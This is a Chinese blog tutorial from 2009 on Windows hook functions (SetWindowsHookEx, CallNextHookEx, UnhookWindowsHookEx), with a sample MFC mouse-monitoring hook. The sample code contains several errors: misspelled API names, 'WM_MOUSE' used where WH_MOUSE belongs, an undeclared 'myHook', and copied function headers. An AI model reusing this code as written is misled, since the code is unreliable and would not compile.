<p>安装一个HOOK，SetWindowsHookEx<br>对每种类型的钩子由<span style="background-color: #c0c0c0;">系统来维护一个钩子链</span>，最近安装的钩子放在链的开始，而最先安装的钩子放在最后，也就是<span style="background-color: #c0c0c0;">后加入的先获得控制权</span>。<br>The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread. <br>HHOOK SetWindowsHookEx(<br>int idHook,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // hook type.请查看MSDN获得详细信息<br>HOOKPROC lpfn,&nbsp;&nbsp;&nbsp;&nbsp; // hook procedure<br>HINSTANCE hMod,&nbsp;&nbsp;&nbsp; // handle to application instance<br>DWORD dwThreadId&nbsp;&nbsp; // thread identifier<br>);</p>
<p>得到控制权的钩子函数在完成对消息的处理后，如果想要该消息继续传递，那么它必须调用另外一个SDK中的API函数<font style="background-color: #ffd700;">CallNextHookEx</font>来传递它。<br><span style="font-size: 12pt; font-family: 宋体;">(<span style="font-family: 宋体;">对一个事件处理的hook可能有多个，它们成链状，使用CallNextHookEx一级一级地调用。简单解释过来就是&#8220;调用下一个HOOK&#8221; )</span></span><br><font style="background-color: #ffd700;">CallNextHookEx</font><br>The <font style="background-color: #ffd700;">CallNextHookEx</font> function passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information. <br>LRESULT <font style="background-color: #ffd700;">CallNextHookEx</font>(<br>HHOOK hhk,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // handle to current hook<br>int nCode,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // hook code passed to hook procedure<br>WPARAM wParam, // value passed to hook procedure<br>LPARAM lParam&nbsp;&nbsp; // value passed to hook procedure<br>);</p>
<p>hook处理函数<br>LRESULT CALLBACK HookProc(<br>int nCode, <br>WPARAM wParam, <br>LPARAM lParam<br>);</p>
<p>取消HOOK<br>UnhookWindowsHookEx<br>The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx function. <br>BOOL UnhookWindowsHookEx(<br>HHOOK hhk&nbsp;&nbsp; // handle to hook procedure<br>);</p>
<p>&nbsp;</p>
<p>示例：<br>[code]<br>// 监视鼠标消息<br>// hook处理函数声明<br>LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam);<br>static BOOL StartWatchingMouse(); // 开始监视<br>static void StopWatchingMouse();&nbsp;&nbsp;&nbsp; // 结束<br>static HHOOK hHook = NULL;&nbsp;&nbsp;&nbsp; //hook指针<br>/*======================================================<br>*Function:StartWatchingMouse()<br>*Author:wuhuiran 05-7-23<br>*Desc:开始监视鼠标<br>*Record:<br>--------------------------------------------------------<br>========================================================*/<br>BOOL StartWatchingMouse()<br>{<br>hHook = SetWindowHookEx(WM_MOUSE, (HOOKPROC) MyMouseProc, <br>&nbsp;&nbsp; (HINSTANCE) NULL, GetCurrentThreadId());<br>&nbsp;&nbsp;<br>if(!hHook)<br>{<br>&nbsp;&nbsp; return FALSE;<br>}<br><br>return TRUE;<br><br>}</p>
<p>/*======================================================<br>*Function:StartWatchingMouse()<br>*Author:wuhuiran 05-7-23<br>*Desc:取消监视鼠标<br>*Record:<br>--------------------------------------------------------<br>========================================================*/<br>void StopWatchingMouse()<br>{<br>if(hHook)<br>{<br>&nbsp;&nbsp; UnHookWindowHookEx(hHook);<br>&nbsp;&nbsp; hHook = NULL;<br>}<br>}</p>
<p>/*======================================================<br>*Function:StartWatchingMouse()<br>*Author:wuhuiran 05-7-23<br>*Desc:HOOK处理函数<br>*Record:<br>--------------------------------------------------------<br>========================================================*/<br>LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam)<br>{<br>if(nCode &lt; 0)<br>{<br>&nbsp;&nbsp; return <font style="background-color: #ffd700;">CallNextHookEx</font>(hHook, nCode, wParam, lParam);<br>&nbsp;&nbsp;<br>}<br><br>MOUSEHOOKSTRUCT *pMouseHookStruct;&nbsp;&nbsp; //鼠标HOOK结构体<br>pMouseHookStruct = (MOUSEHOOKSTRUCT *)lParam;<br><br>POINT pt = pMouseHookStruct-&gt;pt;<br>//动一下鼠标就会显示鼠标位置<br>CString strMsg;<br>strMsg.Format("x:\t%d\ny:\t%d", pt.x, pt.y);<br>AfxMessageBox(strMsg);<br><br>return <font style="background-color: #ffd700;">CallNextHookEx</font>(myHook, nCode, wParam, lParam);<br>}<br>[/code]</p>
<p>注意：<br>hook会使系统变慢，除非必要，不要频繁使用。在不使用的时候尽快删除<br>全局钩子必须放在DLL中</p>
<p>只是简单介绍了一下钩子函数的使用方法，具体的函数介绍请参阅MSDN和其他文章。</p><img src ="http://www.cppblog.com/momoxiao/aggbug/99229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/momoxiao/" target="_blank">小默</a> 2009-10-22 21:15 <a href="http://www.cppblog.com/momoxiao/archive/2009/10/22/99229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>